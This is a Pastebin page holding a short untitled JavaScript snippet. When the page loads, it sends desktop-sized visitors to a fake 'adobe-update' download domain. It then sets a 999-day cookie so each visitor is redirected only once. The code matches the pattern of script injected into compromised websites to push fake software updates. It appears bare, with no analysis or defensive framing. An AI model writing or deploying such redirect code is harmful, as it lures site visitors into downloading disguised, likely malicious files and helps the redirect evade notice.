binggle

Untitled

Jun 26th, 2017
46
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.92 KB | None | 0 0
  1. function redirect()
  2. {
  3. var thecookie = readCookie('doRedirect');
  4. if(!thecookie)
  5. {
  6. window.location = 'http://adobe-update-quick.download-adeplugin.net/?update_file_id=43878787767794&app=4300006545476857567665.565';
  7. }
  8. }
  9.  
  10. function createCookie(name,value,days)
  11. {
  12. if (days)
  13. {
  14. var date = new Date();
  15. date.setTime(date.getTime()+(days*24*60*60*1000));
  16. var expires = "; expires="+date.toGMTString();
  17. }
  18. else var expires = "";
  19. document.cookie = name+"="+value+expires+"; path=/";
  20. }
  21.  
  22. function readCookie(name)
  23. {
  24. var nameEQ = name + "=";
  25. var ca = document.cookie.split(';');
  26. for(var i=0;i < ca.length;i++)
  27. {
  28. var c = ca[i];
  29. while (c.charAt(0)==' ') c = c.substring(1,c.length);
  30. if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
  31. }
  32. return null;
  33. }
  34.  
  35. window.onload = function()
  36. {
  37. if (screen.width >= 700) {
  38.  
  39.  
  40. redirect();
  41. createCookie('doRedirect','true','999');
  42. }
  43. }
Add Comment
Please, Sign In to add comment